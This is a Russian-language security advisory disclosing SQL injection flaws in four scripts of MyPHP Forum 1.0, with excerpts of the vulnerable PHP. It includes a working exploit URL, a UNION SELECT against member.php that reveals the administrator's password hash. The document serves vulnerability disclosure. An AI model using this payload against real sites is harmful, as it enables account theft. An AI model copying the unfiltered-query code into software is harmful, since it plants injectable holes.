/*==========================================*/
// GHC -> MyPHP Forum <- ADVISORY
// Продукт: MyPHP Forum
// Версия: 1.0
// URL:
http://www.myphp.ws
// Класс уязвимости: SQL инъекция
/*==========================================*/
[Описание]
MyPHP Forum простой скрипт форума, написанный на PHP с использованием баз данных MySQL.
Несколько уязвимостей типа SQL инъекции позволяют получить важную информацию и выполнить произвольный sql запрос.
[1] уязвимый скрипт: forum.php
код:
--------------------------------------------------------------------------------
$query = mysql_query("SELECT fid, name FROM $db_forum WHERE fid=$fid") or die(mysql_error());
$nav = mysql_fetch_array($query);
--------------------------------------------------------------------------------
Переменная $fid не фильтруется. Вследствие этого возможна инъекции SQL кода в указанном сценарии.
[2] уязвимый скрипт: member.php
код:
--------------------------------------------------------------------------------
if($action == "viewpro") {
$member = $HTTP_GET_VARS[member];
$sql = "SELECT * FROM $db_member WHERE username=$member";
$query = mysql_query("SELECT * FROM $db_member WHERE username=$member") or die("cant execute $sql");
$member = mysql_fetch_array($query);
--------------------------------------------------------------------------------
Не фильтруется переменная $member. Возможна инъекция произвольного SQL кода.
member.php?action=viewpro&member=[SQL code]
[Пример эксплоита]
member.php?action=viewpro&member=nonexistuser'%20U NION%20SELECT%20uid,%20username,%20password,%20sta tus,%20email,%20website,%20aim,%20msn,%20location, %20sig,%20regdate,%20posts,%20password%20as%20yaho o%20FROM%20nb_member%20WHERE%20uid='1
В результате данного запроса будет отображен хеш пароля администратора (в поле "Yahoo").
Пароль шифруется функцией encrypt():
код:
--------------------------------------------------------------------------------
function encrypt($string) {
$crypted = crypt(md5($string), md5($string));
return $crypted;
}
--------------------------------------------------------------------------------
[3] уязвимый скрипт: forgot.php
код:
--------------------------------------------------------------------------------
$email = $_REQUEST[email];
if (isset($email)) {
$sql="SELECT * FROM $db_member WHERE email=$email";
...
$result = mysql_query("SELECT username FROM $db_member WHERE email=$email");
$username = mysql_result($result, 0);
$msg = "
Hello $username,
--------------------------------------------------------------------------------
Не фильтруется переменная $email, через которую возможно внедрение произвольного SQL запроса.
[4] уязвимый скрипт: include.php
Этот скрипт включается для аутентификации во все важные сценарии.
Переменные $nbuser & $nbpass не фильтруются.
код:
--------------------------------------------------------------------------------
$query = mysql_query("SELECT * FROM $db_member WHERE username=$nbuser")
--------------------------------------------------------------------------------
Через перменную $nbuser возможна инъекция SQL запроса.
P.S. все указанные уязвимости действительны при magic_quotes_gpc=0.
P.P.S. некоторые скрипты myPHP v.2.0b так же подвержены уязвимостям.
/* ================================================== */
/* www.ghc.ru -- security games & challenges */
/* ================================================== */
/* greets to: RST.void.ru, D0G4 & all quest hunters %)*/
/* ================================================== */
Найдено ghc.ru by foster